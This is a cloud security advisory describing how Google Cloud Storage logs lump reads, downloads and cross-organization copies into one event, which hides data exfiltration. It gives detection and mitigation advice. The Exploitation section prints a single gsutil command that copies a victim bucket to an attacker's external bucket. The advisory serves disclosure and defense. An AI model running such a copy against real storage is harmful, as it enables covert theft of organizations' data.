Security Advisory: Insufficient Forensic Visibility in GCP Storage

Originally published by Mitiga.

Written by Veronica Marinov.

Overview

As part of Mitiga’s research into cloud attacks and forensics, we have been examining potential data exfiltration techniques in GCP (Google Cloud Platform) and how to identify and investigate them. During this research, we discovered a significant forensic security deficiency in Google Cloud Storage that enables a threat actor to exfiltrate in a covert manner.

One of the most common attack vectors used by threat actors right after getting initial access is data theft (exfiltration). One of the most common targets for such attacks is storage buckets, which, as the name suggests, are used for data storage. As part of incident response or threat hunting activities, forensic investigators rely on logs provided by the vendor to identify these types of attacks to understand what threat actors have been able to achieve. Unfortunately, GCP does not provide the level of visibility in its storage logs that is needed to allow any effective forensic investigation, making organizations blind to potential data exfiltration attacks. This prevents organizations from efficiently responding to incidents, as they have no chance to correctly assess what data has been stolen or whether it has been stolen at all.

This attack technique is based on a threat actor obtaining control over an IAM (identity and access management) entity that belongs to the targeted organization. The threat actor then proceeds to grant the obtained entity permissions to copy data to the threat actor’s GCP organization.

GCP does not provide adequate transparency to the intended organization regarding permissions granted to external accounts for its entities.

The Problem

To allow organizations to better monitor data access and potential data theft/exfiltration (among other use cases), GCP offers customers the ability to turn on storage access logs. While they are not turned on by default — typically for cost reasons — enabling them could make it easier for organizations to detect and respond to various storage and data related attacks. This ability is similar to the storage access logs offered by other cloud providers, such as AWS (Amazon Web Services).

Unfortunately, GCP’s implementation of this system is insufficient and creates forensic visibility gaps, making it nearly impossible to use them for forensic analysis, let alone for detection. This is due to a deficiency in the implementation that chooses to group a wide range of potential file access and read activities under a single type of event — “Object Get.” The same event is used for a wide variety of types of access, including:

• Reading a file
• Downloading a file
• Copying a file to an external server
• Even just reading the metadata of the file (i.e., time of creation, permissions, etc.)

This lack of specificity can be seen in the following example. This list shows five different access types, all with the same event type in the logs.

Figure 1. GCP Object Get Log Example

(The full details of the JSON are presented in Appendix A in this Security Advisory.)

It is important to note that this deficiency is not inherent to cloud services and could be easily addressed by providing more detailed information in the logs. An example can be seen with AWS S3 access logs, which distinguish each of the event types with its own event log name.

An illustration of how various cloud vendors manage different events is presented in the table below.

Table 1. Cloud Vendor Event Log Management

(Examples of AWS logs appear in Appendix A of this Security Advisory.)

As previously highlighted, the lack of distinction in GCP allows attackers to exfiltrate sensitive data without detection, and without the organization being able to differentiate between malicious activity and legitimate user activity. It is important to note that in normal usage, files (or objects) inside storage objects are read multiple times a day as part of day-to-day activity of the organization. This could easily lead to thousands or millions of read events. Not being able to identify specific attack patterns such as download or copy to external bucket, makes it exceedingly difficult for the organizations to determine if and which information has been stolen.

Exploitation

As this is inherently lacking functionality, the exploit is quite simple and does not necessitate any specialized tools or expertise. This deficiency allows an attacker to exfiltrate data in a manner that is very hard to identify. To do so, the threat actors only need to use Google’s command line interface in order to transfer sensitive data from the victim organization’s storage buckets to an external storage bucket within the attacker organization.

gsutil cp gs://src_bucker gs://dest_bucket

This method of exfiltrating data is particularly attractive, due to its ease of execution and lack of detectability.

Vendor Response

We contacted Google’s security team and received the following response:
“The Mitiga blog highlights how Google’s Cloud Storage logging can be improved upon for forensics analysis in an exfiltration scenario with multiple organizations. We appreciate Mitiga's feedback, and although we don't consider it a vulnerability, have provided mitigation recommendations.”

Recommendations

After contacting Google’s security team and working with them on this issue we have compiled a list of steps that can be done to mitigate and detect this attack:

1. VPC Service Controls - with the use of VPC Service Controls administrators can define a service perimeter around resources of Google-managed services to control communication to and between those services
2. Organization restriction headers - organization restriction headers enable customers to restrict cloud resource requests made from their environments to only operate resources owned by select organizations. This is enforced by egress proxy configurations, firewall rules ensuring that the outbound traffic passes through the egress proxy, and HTTP headers.
3. In case neither VPC Service Controls nor Organization restriction headers are enabled we suggest searching for the following anomalies:
   a. Anomalies in the times of the Get/List events.
   b. Anomalies in the IAM entity performing the Get/List events.
   c. Anomalies in the IP address the Get/List requests originate from.
   d. Anomalies in the volume of Get/List events within brief time periods originating from a single entity.
4. Restrict access to storage resources and consider removing read/transfer permissions.

Appendix A – Additional Screenshots

GCP Access log example – no additional data other than “Get Object” provided:

GCP Access log example

AWS Log Examples

GetObject (view metadata (13), download (14), read (15-17))

GetObject

CopyObject

CopyObject